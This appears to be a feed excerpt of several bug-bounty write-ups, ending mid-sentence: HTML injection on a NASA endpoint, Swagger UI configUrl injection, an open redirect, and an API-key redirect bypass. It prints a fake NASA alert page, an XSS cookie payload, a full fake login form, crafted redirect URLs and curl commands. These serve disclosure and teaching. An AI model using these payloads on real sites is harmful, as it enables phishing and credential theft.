/></figure><p>The endpoint was rendering my input directly! I tested for <strong>remote code execution (RCE)</strong> with some payloads, but the server didn’t execute them — it just echoed back my input. That’s when a wild idea struck: <em>What if I injected an entire webpage’s code? Would it render as a webpage?</em></p><h3>Step 5: Crafting a Phishing Page</h3><p>To test this, I asked ChatGPT to generate a basic phishing page (for demonstration purposes only, of course). I copied the HTML code into the /store endpoint’s body, sent the request, and got a new hash. Visiting https://redacted.nasa.gov/store/NewHashValuesdjksudhfushe32EXAMPLE rendered the phishing page perfectly in the browser. <em>Mind blown.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UPtf4btzDe5R8DRGeft3-A.png" /><figcaption>Demo Phishing Page</figcaption></figure><p>To demonstrate the business impact, I created another page :</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot;&gt;<br>&lt;head&gt;<br>  &lt;meta charset=&quot;UTF-8&quot;&gt;<br>  &lt;title&gt;NASA Security Alert&lt;/title&gt;<br>  &lt;style&gt;<br>.....<br>.....<br>  &lt;/style&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>  &lt;div class=&quot;box&quot;&gt;<br>    &lt;h1&gt;🚨 NASA ACCOUNT LOCKED&lt;/h1&gt;<br>    &lt;p&gt;Your account has been temporarily suspended due to unusual activity.&lt;/p&gt;<br>    &lt;p&gt;Please verify your credentials immediately to restore access.&lt;/p&gt;<br>    &lt;button onclick=&quot;window.location.href=&#39;https://redacted.nasa.gov/store/NewHashValuesdjksudhfushe32EXAMPLE&#39;&quot;&gt;Verify Now&lt;/button&gt;<br>  &lt;/div&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>This Rendered like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ToIm7_JBwu14lENWcDk5eg.png" /><figcaption>Demo Scam Page</figcaption></figure><p>Clicking “Verify Now” redirected to the phishing page that i created recently.</p><p>I also created a defacement page to show how an attacker could abuse this flaw.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I1fWePpLHoG0YxO-64XAFA.png" /><figcaption>Deface Page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oP4aCtqjjQJI4HkQ2r9T7w.jpeg" /><figcaption>Thumbnail</figcaption></figure><p><strong>With this flaw, an attacker could exploit this to:</strong></p><ul><li>Craft highly convincing phishing pages, mimicking NASA’s official sites to deceive employees or users.</li><li>Host fake login portals, stealing sensitive credentials from unsuspecting victims.</li><li>Embed malicious scripts, executing harmful code in users browsers.</li><li>Deliver browser-based payloads, compromising devices or escalating attacks.</li><li>Leverage the *.nasa.gov domain trust, bypassing email filters and deceiving internal users or external stakeholders.</li><li>Spread misinformation, creating pages with fake news to trick media outlets and damage NASA’s credibility.</li><li>Build fake financial pages, tricking users into disclosing payment details or initiating fraudulent transactions.</li></ul><h3>Step 6: Reporting and the Sweet Reward</h3><p>I compiled a comprehensive report with steps to reproduce, impact analysis, and recommendations, attaching the URLs of my test pages. I submitted it to NASA via BugCrowd on June 10, 2025.</p><p>Here’s how it unfolded:</p><ul><li><strong>June 10, 2025</strong>: Report submitted and triaged.</li><li><strong>June 14, 2025</strong>: NASA marked it as “Unresolved.”</li><li><strong>July 10, 2025</strong>: Issue resolved.</li><li><strong>July 14, 2025</strong>: I received a Letter of Appreciation from NASA</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4DKBcCR5pC_a6kXkSKRSBA.jpeg" /><figcaption>Reply from NASA VDP</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JKxKFMJipbkPdlgBpDJ6lw.jpeg" /><figcaption>Recognition Letter from NASA</figcaption></figure><p>When I saw that letter, I nearly jumped out of my chair. My dream had come true! All those late nights, dead ends, and moments of doubt were worth it.</p><h3>Final Thoughts</h3><p>If there’s one lesson from this — it’s <strong>don’t give up too early</strong>.</p><p>I almost walked away after weeks of nothing. But one random idea — comparing subdomain deltas — changed the game.</p><p>So if you’re out there grinding on bug bounty platforms, stuck in the “no valid bugs found” cycle… keep going. Sometimes the best discoveries come after you’ve hit the wall.</p><p>And who knows — maybe one day you’ll be writing your own article about <strong>finding a bug in NASA</strong>.</p><p>Thanks for reading. 🛰️</p><blockquote>Connect with me on <a href="https://www.linkedin.com/in/iamshafayat/">LinkedIn</a>!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9f106e833cc1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Tricked a Swagger UI into Showing a Fake Login Page]]></title>
            <link>https://systemweakness.com/how-i-tricked-a-swagger-ui-into-showing-a-fake-login-page-68e9f08a3d59?source=rss-70c8e16f024d------2</link>
            <guid isPermaLink="false">https://medium.com/p/68e9f08a3d59</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[swagger-ui]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Shafayat Ahmed Alif]]></dc:creator>
            <pubDate>Tue, 08 Jul 2025 06:44:48 GMT</pubDate>
            <atom:updated>2025-07-08T12:49:46.902Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey, bug hunters and tech nerds! So, I was recently digging into a web app for a bug bounty program, and I stumbled onto something <em>wild</em>. With a bit of recon and a sneaky URL trick, I got a Swagger UI page to display a fake login form — right on a legit domain! This could’ve been a phishing goldmine for attackers, but don’t worry, I reported it responsibly. In this article, I’ll walk you through my recon process, how I found this vulnerability, and what devs can do to avoid this mess. Grab a coffee, and let’s dive into this bug bounty adventure!</p><h3>What’s Swagger UI, Anyway?</h3><p>If you’re not familiar, Swagger UI is this slick tool that makes API documentation look clean and interactive. It’s built on OpenAPI specs (JSON or YAML files that describe an API’s endpoints) and lets developers test APIs right in the browser. It’s super common on sites with public APIs, but if it’s not locked down, it can be a playground for bugs.</p><p>I was poking around a site — let’s call it target.com for now, keeping things safe until the bug bounty folks give the all-clear. My goal? Find something juicy in their subdomains or API endpoints. Little did I know, a Swagger UI page was about to steal the show.</p><h3>The Recon Process</h3><p>Like any bug hunter, I started with reconnaissance. Here’s how it went down:</p><ul><li><strong>Subdomain Hunting</strong>: I fired up <strong>Subfinder</strong> to grab all the subdomains for target.com. The command was simple:</li></ul><pre>subfinder -d target.com -o subfinder.txt</pre><p>This gave me a juicy list of subdomains to play with.</p><ul><li><strong>Filtering Live Subdomains</strong>: Not all subdomains are live, so I used <strong>httpx</strong> to filter out the dead ones:</li></ul><pre>httpx -l subfinder.txt -silent -o live_subdomains.txt</pre><p>This left me with a clean list of active subdomains.</p><ul><li><strong>Looking for Gold</strong>: I scanned the list for interesting subdomains like <em>api, dev, </em>or <em>test</em>. One caught my eye: api.target.com. I visited it, but… ugh, just a blank white page. Boring, right? Not so fast.</li><li><strong>Crawling with Katana</strong>: To dig deeper, I used <strong>Katana</strong> to crawl the subdomain and find hidden endpoints:</li></ul><pre>katana -u api.target.com -jc -d 5 -o katana_endpoints.txt</pre><p>This spat out a bunch of URLs, most of them meh. But then I spotted this gem:https://api.target.com/platform/clients/index.html. My gut said, “This looks promising.”</p><h3>The “Aha!” Moment</h3><p>Visiting that URL, I found a Swagger UI page — those fancy API docs you see with endpoints and “Try it out” buttons. I poked around for basic vulnerabilities, but nothing popped. Then I remembered a post I’d seen ages ago about DOM XSS in Swagger UI. It mentioned a parameter called configUrl that could be abused. Jackpot!</p><p>I did some quick research and learned that configUrl lets you load external OpenAPI specs (JSON or YAML files). If the app doesn’t validate where those files come from, you can feed it anything — potentially leading to <strong>DOM XSS</strong>, <strong>HTML Injection</strong>, or even <strong>Open Redirects</strong>. Time to test it!</p><h3>First Attempt: XSS</h3><p>I started by crafting two files to test for XSS:</p><ul><li><strong>xss.yaml</strong>:</li></ul><pre>swagger: &#39;2.0&#39;<br>info:<br>  title: XSS Attack BY M4ST3R MIND<br>  description: |<br>    &lt;form&gt;&lt;math&gt;&lt;mtext&gt;&lt;/form&gt;&lt;form&gt;&lt;mglyph&gt;&lt;svg&gt;&lt;mtext&gt;&lt;textarea&gt;&lt;path id=&quot;&lt;/textarea&gt;&lt;img onerror=alert(document.cookie) src=1&gt;&quot;&gt;&lt;/form&gt;<br>  version: production<br>basePath: /JSSResource/<br>produces:<br>  - application/xml<br>  - application/json<br>consumes:<br>  - application/xml<br>  - application/json<br>security:<br>  - basicAuth: []<br>paths:<br>  /M0X0101:<br>    get:<br>      responses:<br>        &#39;200&#39;:<br>          description: No response was specified<br>      tags:<br>        - M4ST3R MIND<br>      operationId: findAccounts<br>      summary: Finds all accounts<br>  &#39;/hack/hachid/{id}&#39;:<br>    delete:<br>      parameters:<br>        - description: |<br>            &lt;form&gt;&lt;math&gt;&lt;mtext&gt;&lt;/form&gt;&lt;form&gt;&lt;mglyph&gt;&lt;svg&gt;&lt;mtext&gt;&lt;textarea&gt;&lt;path id=&quot;&lt;/textarea&gt;&lt;img onerror=alert(document.cookie) src=1&gt;&quot;&gt;&lt;/form&gt;<br>          format: int64<br>          in: path<br>          name: id<br>          required: true<br>          type: integer<br>      responses:<br>        &#39;200&#39;:<br>          description: No response was specified</pre><ul><li><strong>xss.json</strong>:</li></ul><pre>{<br>    &quot;url&quot;: &quot;https://raw.githubusercontent.com/iamshafayat/Swagger/refs/heads/main/xss/xss.yaml&quot;,<br>    &quot;urls&quot;: [<br>        {<br>            &quot;url&quot;: &quot;https://raw.githubusercontent.com/iamshafayat/Swagger/refs/heads/main/xss/xss.yaml&quot;,<br>            &quot;name&quot;: &quot;M4ST3R MIND&quot;<br>        }<br>    ]<br>}</pre><p>I hosted these on GitHub and tried loading them into the Swagger UI with this URL:</p><pre>https://api.target.com/platform/clients/index.html?configUrl=https://raw.githubusercontent.com/iamshafayat/Swagger/refs/heads/main/xss/xss.json</pre><p>Unfortunately, no alert popped up — which was disappointing at first.<br> But after some research, I learned that <strong>not all Swagger UI versions allow alert popups</strong> because newer versions sanitize a lot. But the injection point still existed.</p><p>So, I thought: why not try something more visual?</p><h3>The Phishing PoC: Rendering a Login Page</h3><p>If XSS wasn’t working, maybe I could still abuse the configUrl to inject HTML. What’s scarier than a popup? A phishing page. I decided to render a fake login form right in the Swagger UI. Here’s what I did:</p><ul><li><strong>login.yaml</strong>:</li></ul><pre>swagger: &#39;2.0&#39;<br>info:<br>  version: 1.0.0<br>  title: Login Page<br>  description: &#39;&lt;div class=&quot;login-form&quot;&gt;<br>&lt;!-- Error Message --&gt;<br>&lt;div style=&quot;width: 100%; max-width: 400px; margin: 20px auto; padding: 20px; background: #f8d7da; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);&quot;&gt;<br>  &lt;div style=&quot;background-color: #f8d7da; color: #721c24; padding: 16px 20px; border-radius: 4px; border: 1px solid #f5c6cb; font-size: 16px; text-align: center;&quot;&gt;<br>    &lt;strong&gt;An error occurred while loading, please log in.&lt;/strong&gt;<br>  &lt;/div&gt;<br>&lt;/div&gt;<br><br>&lt;!-- Login Form --&gt;<br>&lt;div class=&quot;heading&quot;&gt;<br>  &lt;h1 style=&quot;text-align: center; font-size: 24px; color: #333; margin-bottom: 20px;&quot;&gt;Login Page&lt;/h1&gt;<br>  &lt;div class=&quot;form-container&quot; style=&quot;width: 100%; max-width: 400px; margin: 0 auto; padding: 20px; background: #fff; border-radius: 8px; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);&quot;&gt;<br>    &lt;form action=&quot;#YOURLINKTOGETCREDENTIALS&quot; method=&quot;post&quot; class=&quot;form-signin&quot;&gt;<br>      &lt;div class=&quot;form-group&quot; style=&quot;margin-bottom: 15px;&quot;&gt;<br>        &lt;label for=&quot;username&quot; style=&quot;font-size: 14px; color: #555; display: block; margin-bottom: 5px;&quot;&gt;Username&lt;/label&gt;<br>        &lt;input type=&quot;text&quot; name=&quot;username&quot; size=&quot;20&quot; style=&quot;width: 100%; padding: 10px; font-size: 14px; border: 1px solid #ccc; border-radius: 4px;&quot;&gt;<br>      &lt;/div&gt;<br>      &lt;div class=&quot;form-group&quot; style=&quot;margin-bottom: 15px;&quot;&gt;<br>        &lt;label for=&quot;password&quot; style=&quot;font-size: 14px; color: #555; display: block; margin-bottom: 5px;&quot;&gt;Password&lt;/label&gt;<br>        &lt;input type=&quot;password&quot; name=&quot;password&quot; size=&quot;20&quot; style=&quot;width: 100%; padding: 10px; font-size: 14px; border: 1px solid #ccc; border-radius: 4px;&quot;&gt;<br>      &lt;/div&gt;<br>      &lt;div class=&quot;form-group&quot; style=&quot;margin-top: 20px;&quot;&gt;<br>        &lt;button type=&quot;submit&quot; class=&quot;btn btn-default&quot; style=&quot;width: 100%; padding: 12px; background-color: #5cb85c; border: none; color: white; font-size: 16px; border-radius: 4px; cursor: pointer; transition: background-color 0.3s;&quot;&gt;Login&lt;/button&gt;<br>      &lt;/div&gt;<br>    &lt;/form&gt;<br>  &lt;/div&gt;<br>&lt;/div&gt;<br><br>&lt;!-- Footer with your name --&gt;<br>&lt;div style=&quot;position: fixed; bottom: 10px; right: 10px; font-size: 12px; color: #888;&quot;&gt;<br>  POC BY M4ST3R MIND<br>&lt;/div&gt;<br><br><br>  &#39;<br>paths:<br>  /:<br>    post:<br>      responses:<br>        &#39;200&#39;:<br>          description: Login successful</pre><ul><li><strong>login.json</strong>:</li></ul><pre>{<br>    &quot;url&quot;: &quot;https://raw.githubusercontent.com/iamshafayat/Swagger/refs/heads/main/login.yaml&quot;,<br>    &quot;urls&quot;: [<br>        {<br>            &quot;url&quot;: &quot;https://raw.githubusercontent.com/iamshafayat/Swagger/refs/heads/main/login.yaml&quot;,<br>            &quot;name&quot;: &quot;Admin&quot;<br>        }<br>    ]<br>}</pre><p>I hosted these files on GitHub and hit the Swagger UI with:</p><pre>https://api.target.com/platform/clients/index.html?configUrl=https://raw.githubusercontent.com/iamshafayat/Swagger/refs/heads/main/login.json</pre><p><em>Boom!</em> The Swagger UI loaded my fake login form, looking like it belonged there. It had fields for username and password, styled to look legit, and could’ve sent creds to an attacker’s server (don’t worry, I used a dummy URL for testing). This was huge — an attacker could trick internal team members into entering their credentials, all on a trusted target.com domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xZX2tRN_zLEsSrF1Xqpg3w.png" /></figure><h3>📦Payload Collection</h3><p>Here’s a collection of all the payloads I crafted while testing Swagger UI. Feel free to use them in your own PoC or research:</p><ul><li><strong>GitHub Repo:</strong></li></ul><p><a href="https://github.com/iamshafayat/Swagger">GitHub - iamshafayat/Swagger</a></p><h3>Why This Is Scary</h3><p>This vulnerability is a big deal for a few reasons:</p><ul><li><strong>Phishing Power</strong>: That fake login form could fool employees or users into handing over sensitive credentials.</li><li><strong>Trusted Domain</strong>: Since it’s on api.target.com, it looks legit, making phishing way more convincing.</li><li><strong>Easy to Exploit</strong>: Just a crafted URL, shareable via email or social engineering.</li></ul><p>In bug bounty land, this could be a <strong>Medium to High</strong> severity bug, especially if internal accounts are at risk. Think credential theft, account takeovers, or even data breaches.</p><h3>How It Works</h3><p>Swagger UI lets you load external API definitions using the ?configUrl= parameter. If this input isn’t restricted, anyone can load a custom YAML file from places like GitHub.</p><p>I took advantage of this by hosting a malicious login.yaml that contained raw HTML for a fake login form. When loaded into the Swagger UI, it rendered directly inside the trusted api.target.com domain — making it perfect for phishing or social engineering attacks.</p><p>No complex exploit — just smart abuse of a misconfiguration.</p><h3>Devs, Lock It Down!</h3><p>If you’re running Swagger UI, here’s how to avoid this:</p><ul><li><strong>Restrict </strong>configUrl: Only allow configs from trusted domains (e.g., *.target.com).</li><li><strong>Add CSP</strong>: Use Content-Security-Policy: default-src &#39;self’; to block external resources.</li><li><strong>Sanitize HTML</strong>: Escape or disable HTML in description fields.</li><li><strong>Hide Swagger</strong>: Put API docs behind auth or keep them out of production.</li></ul><p>These tweaks can save you from a phishing nightmare.</p><h3>Final Thoughts</h3><p>This was a fun bug — not a typical RCE or SQLi — but a great example of how <strong>HTML injection</strong> in the right context (like Swagger UI) can become dangerous.</p><p>Sometimes, the “boring” subdomains and blank pages can lead to awesome vulnerabilities. You just have to dig a little deeper.</p><blockquote>Thanks for reading!<br>If you enjoyed this or learned something, give it a 👏 and follow for more bug bounty write-ups.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68e9f08a3d59" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/how-i-tricked-a-swagger-ui-into-showing-a-fake-login-page-68e9f08a3d59">How I Tricked a Swagger UI into Showing a Fake Login Page</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a JavaScript File Led Me to an Open Redirect Vulnerability]]></title>
            <link>https://systemweakness.com/how-a-javascript-file-led-me-to-an-open-redirect-vulnerability-eefce51303b2?source=rss-70c8e16f024d------2</link>
            <guid isPermaLink="false">https://medium.com/p/eefce51303b2</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[open-redirect]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Shafayat Ahmed Alif]]></dc:creator>
            <pubDate>Wed, 07 May 2025 10:46:06 GMT</pubDate>
            <atom:updated>2025-05-07T13:02:56.554Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong><em>Manual recon is underrated — and this bug proves it.</em></strong></blockquote><p>Bug bounty hunting is like digital treasure hunting. Sometimes you spend hours digging through HTTP headers, fuzzing parameters, or following automated scanners. Other times? You spot a shiny little gem just sitting in a JavaScript file.</p><p>This is the story of one of those times — when <strong>manual recon</strong> led me to discover an <strong>authenticated open redirect vulnerability</strong> in a public HackerOne program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VQkiKlIdtgfSqsZhupV85Q.jpeg" /></figure><h3>The Hunt Begins — With a JavaScript File</h3><p>I was poking around a bug bounty target’s site, casually loading up their web pages and opening DevTools like I usually do. My eyes drifted to a JavaScript bundle being loaded — something like <strong><em>target-vec.js</em></strong>.</p><p>Now, most people would pass this off to automated scanners or grep tools. But not me. I like to dig in manually — line by line, function by function.</p><p>And guess what?</p><p>I spotted this innocent-looking line:</p><pre>/servlet/ExternalRedirect?url=</pre><p>My brain immediately lit up.<br> <strong>ExternalRedirect + user-controlled </strong><strong>url?</strong> That smells like an open redirect!</p><h3>Verifying the Vulnerability</h3><p>I quickly crafted a test payload:</p><pre>https://subdomain.target.com/servlet/ExternalRedirect?url=https://www.google.com</pre><p>And when I visited it…<br>It didn’t redirect me right away. Instead, it showed me the <strong>login page</strong>.</p><p>Fair enough. Maybe it’s protected.</p><p>So I logged in with my account, After logged in, boom! The site sent me straight to an external URL in the parameter.</p><h3>Turning It Into a Realistic Phishing PoC</h3><p>To demonstrate the real-world impact of this vulnerability, I created a <strong>fake login page</strong> that mimics the target site’s re-authentication screen. Then, I hosted it on GitHub Pages and got this public URL:</p><pre>🔗 Demo PoC: https://username.github.io/fake-login</pre><p>Using this link, I was able to give a <strong>realistic demonstration</strong> of how an attacker could trick users post-login by redirecting them to this fake page — making the phishing flow feel seamless and trustworthy.</p><blockquote>🛑 <strong>Note: </strong>This page is only for educational purposes. It does not collect any data, and after the issue is resolved, I will remove the PoC completely.</blockquote><p>Here are the exact steps I followed in the Proof of Concept video to demonstrate how the vulnerability could be exploited in a phishing scenario:</p><ul><li><strong>Identify the vulnerable endpoint</strong><br> Found this in a JavaScript file during manual recon:</li></ul><pre>https://subdomain.target.com/servlet/ExternalRedirect?url=</pre><ul><li><strong>Craft a malicious redirect URL</strong></li></ul><p>Example:</p><pre>https://subdomain.target.com/servlet/ExternalRedirect?url=https://username.github.io/fake-login/</pre><ul><li><strong>Log in to the target site</strong><br> Since the redirect only works after authentication, I first signed into the platform using valid user credentials.</li><li><strong>Trigger the redirect</strong><br> After login, I visited the crafted malicious URL. As expected, the server redirected me to the external site — which was my fake login page.</li><li><strong>Display the phishing screen</strong><br> The page showed a realistic-looking re-authentication screen (hosted by me) that could easily fool a user into entering their credentials again.</li><li><strong>Highlight that no data is collected</strong><br>For ethical reasons, the form inputs were disabled and the page clearly stated it was for simulation only.</li><li><strong>Explain the impact</strong><br>Showed how this could be abused by attackers to phish users after login, leveraging the trusted domain to bypass user suspicion.</li></ul><h3>Impact of the Vulnerability</h3><p>Despite the authentication requirement, the vulnerability posed notable risks:</p><ul><li><strong>Phishing Attacks</strong>: Attackers could lure authenticated users to malicious sites, leading to credential theft or malware distribution.</li><li><strong>Reputation Damage</strong>: Successful phishing campaigns could undermine user trust in the target website.</li><li><strong>Amplified Threats</strong>: When combined with session hijacking or XSS, the redirect could significantly increase the attack’s impact.</li></ul><h3>Reporting the Vulnerability</h3><p>I submitted a comprehensive bug bounty report to the target’s security team through their bug bounty program. The report included:</p><ul><li>A detailed description of the vulnerability.</li><li>Steps to reproduce the issue.</li><li>A link to the PoC fake login page.</li><li>Mitigation recommendations, such as implementing a whitelist for redirect domains and adding user warnings for external redirects.</li></ul><h3>Lessons Learned</h3><ul><li><strong>Manual recon is gold.</strong><br> This bug didn’t come from any tool. No automated scanner picked it up. Just a pair of eyes reading JavaScript.</li><li><strong>Auth-only bugs still matter.</strong><br> A redirect after login can be <strong>more dangerous</strong>, especially for phishing.</li><li><strong>Small bugs + creativity = impact.</strong><br> It’s not about finding the biggest RCE every time. It’s about showing how even “boring” bugs can have real consequences.</li></ul><h3>Final Thoughts</h3><p>This report reminded me why I love this work. It’s part tech, part creativity, part persistence. And sometimes, it’s just knowing where to look — like buried inside a messy JS file.</p><p>If you’re just starting out in bug bounty:<br><strong>Don’t skip the JS files. Don’t rush past the obvious. Manual recon pays off.</strong></p><p>Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eefce51303b2" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/how-a-javascript-file-led-me-to-an-open-redirect-vulnerability-eefce51303b2">How a JavaScript File Led Me to an Open Redirect Vulnerability</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Bypassed an API Security Check]]></title>
            <link>https://systemweakness.com/how-i-bypassed-an-api-security-check-db99fbd8551d?source=rss-70c8e16f024d------2</link>
            <guid isPermaLink="false">https://medium.com/p/db99fbd8551d</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[Shafayat Ahmed Alif]]></dc:creator>
            <pubDate>Wed, 02 Apr 2025 10:01:20 GMT</pubDate>
            <atom:updated>2025-04-08T13:40:21.417Z</atom:updated>
            <content:encoded><![CDATA[<p>As a bug bounty hunter, there’s nothing quite like the thrill of uncovering a hidden flaw in a live system. Recently, I stumbled across a juicy vulnerability in a HackerOne target—a hard-coded API key exposed in plain sight. What started as a routine reconnaissance turned into a fascinating dive into API abuse and creative bypassing. Here’s the story of how I found it, tested it, and turned it into a Medium-severity report—all while respecting responsible disclosure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FGJl-Mdu4XzX9wegFYjB9Q.jpeg" /><figcaption>Credit: Grok Ai</figcaption></figure><h3>Step 1: Reconnaissance and a Lucky Break</h3><p>It began with a visit to the target’s main website, <strong>[target.com]</strong>. I’m a firm believer that footers often hide gems, so I zeroed in on a “Gift Card” link. Using Burp Suite, I intercepted the request to the gift card page (<strong>[target.com]/order/gift-card?...</strong>). A few forwards later, I noticed an intriguing JavaScript file loaded from a subdomain: <strong>[subdomain.target.com]/tags/JS/v2/[hash]/config?env=0</strong>.</p><p>Curious, I sent this URL to Burp’s Repeater and hit “Send.” The response was a goldmine—a JSON configuration object for Branch Metrics, a popular deep-linking platform. Nestled in the <strong>settings</strong> field was an API key: <strong>[REDACTED_API_KEY]</strong>. Hard-coded, publicly accessible, and begging to be tested.</p><h3>Step 2: Testing the Key</h3><p>Branch Metrics keys are used to generate deep links and track user actions, so I wondered: Could this key be abused? To find out, I crafted a simple cURL request to Branch’s API endpoint (<strong>https://api2.branch.io/v1/url</strong>), aiming to create a deep link:</p><pre>curl -X POST &quot;https://api2.branch.io/v1/url&quot; \<br>-H &quot;Content-Type: application/json&quot; \<br>-d &#39;{&quot;branch_key&quot;: &quot;[REDACTED_API_KEY]&quot;, &quot;data&quot;: {&quot;foo&quot;: &quot;bar&quot;, &quot;$desktop_url&quot;: &quot;https://google.com&quot;}}&#39;<br></pre><p>The response? A shiny new URL: <strong>[generated.target.com]/[random_id]</strong>. Clicking it redirected me to <strong>google.com</strong>. The key was live and functional—game on!</p><h3>Step 3: Hitting a Wall</h3><p>Excited, I tried another test, swapping <strong>google.com</strong> for <strong>netflix.com</strong>:</p><pre>curl -X POST &quot;https://api2.branch.io/v1/url&quot; \<br>-H &quot;Content-Type: application/json&quot; \<br>-d &#39;{&quot;branch_key&quot;: &quot;[REDACTED_API_KEY]&quot;, &quot;data&quot;: {&quot;foo&quot;: &quot;bar&quot;, &quot;$desktop_url&quot;: &quot;https://netflix.com&quot;}}&#39;<br></pre><p>This time, I got an error:</p><pre>{&quot;error&quot;:{&quot;code&quot;:400,&quot;message&quot;:&quot;Invalid value for property of &#39;$desktop_url&#39;, url doesn&#39;t pass security tests&quot;}}</pre><p>Clearly, Branch had some validation in place, restricting which domains the key could link to. My initial excitement faded—was this a dead end?</p><h3>Step 4: The Bypass Breakthrough</h3><p>Not ready to give up, I brainstormed ways to bypass the restriction. Then it hit me: what if I could disguise the destination? I searched “Netflix” on Google, grabbed the shortened link from the results (e.g., <strong>https://www.google.com/url?...&amp;url=https://netflix.com/...</strong>), and plugged it into the cURL command:</p><pre>curl -X POST &quot;https://api2.branch.io/v1/url&quot; \<br>-H &quot;Content-Type: application/json&quot; \<br>-d &#39;{&quot;branch_key&quot;: &quot;[REDACTED_API_KEY]&quot;, &quot;data&quot;: {&quot;foo&quot;: &quot;bar&quot;, &quot;$desktop_url&quot;: &quot;https://www.google.com/url?...&amp;url=https://netflix.com/...&quot;}}&#39;<br></pre><p>Boom! It worked: <strong>[generated.target.com]/[new_id]</strong>. Clicking it took me to <strong>netflix.com</strong>. The API accepted Google’s redirect URL, which then unwrapped to the intended destination. This trick effectively bypassed the security checks, letting me redirect to any site I could wrap in a Google link.</p><h3>The Impact</h3><p>This was more than a cool trick—it was a vulnerability with real-world implications:</p><ul><li><strong>Phishing Potential:</strong> An attacker could craft <strong>[generated.target.com]</strong> links that appear legitimate but redirect to malicious sites.</li><li><strong>Analytics Abuse:</strong> Spoofed deep links could flood the target’s Branch account with fake data.</li><li><strong>Resource Exhaustion:</strong> Excessive link creation might hit quotas or incur costs.</li></ul><p>I rated it Medium severity and submitted it to HackerOne with detailed evidence: Burp captures, cURL outputs, and references to CWE-798 (Use of Hard-coded Credentials).</p><h3>Lessons Learned</h3><ol><li><strong>Dig Deep:</strong> Footers and subdomains often hide overlooked assets.</li><li><strong>Test Creatively:</strong> When security blocks one path, think laterally—Google’s URL structure was my unexpected ally.</li><li><strong>Document Everything:</strong> Clear steps and proof make a report undeniable.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=db99fbd8551d" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/how-i-bypassed-an-api-security-check-db99fbd8551d">How I Bypassed an API Security Check</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Uncovered Sensitive Data in a Public Config File and Injected Fake Logs]]></title>
            <link>https://systemweakness.com/how-i-uncovered-sensitive-data-in-a-public-config-file-and-injected-fake-logs-46496eb18f50?source=rss-70c8e16f024d------2</link>
            <guid isPermaLink="false">https://medium.com/p/46496eb18f50</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-methodology]]></category>
            <dc:creator><![CDATA[Shafayat Ahmed Alif]]></dc:creator>
            <pubDate>Sun, 30 Mar 2025 17:56:03 GMT</pubDate>
            <atom:updated>2025-04-08T13:40:18.247Z</atom:updated>
            <content:encoded><![CDATA[<p>As a bug bounty hunter, few things are as thrilling as stumbling upon a hidden gem during reconnaissance—a small oversight that opens the door to a significant vulnerability. Recently, while exploring a target within a public bug bounty program, I uncovered a misconfiguration that allowed me to inject fake telemetry data into the target’s monitoring system. This article walks through how I found it, exploited it, and what we can learn from it—all without revealing the specific target or sensitive details, per responsible disclosure principles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*czI_gk3ZAhRjyYqOD2TgSA.jpeg" /><figcaption>Credit: Grok Ai</figcaption></figure><h3>The Reconnaissance Phase: Finding the Needle in the Haystack</h3><p>It all started with a subdomain. During my enumeration of a target’s assets (let’s call it “example-corp.com”), I discovered a lesser-known subdomain—something like <strong>service.feature.example-corp.com</strong>. Visiting it revealed a blank page, which isn’t unusual for utility endpoints, but it piqued my curiosity. Blank pages often hide interesting backend logic, so I opened the browser’s developer tools and inspected the page 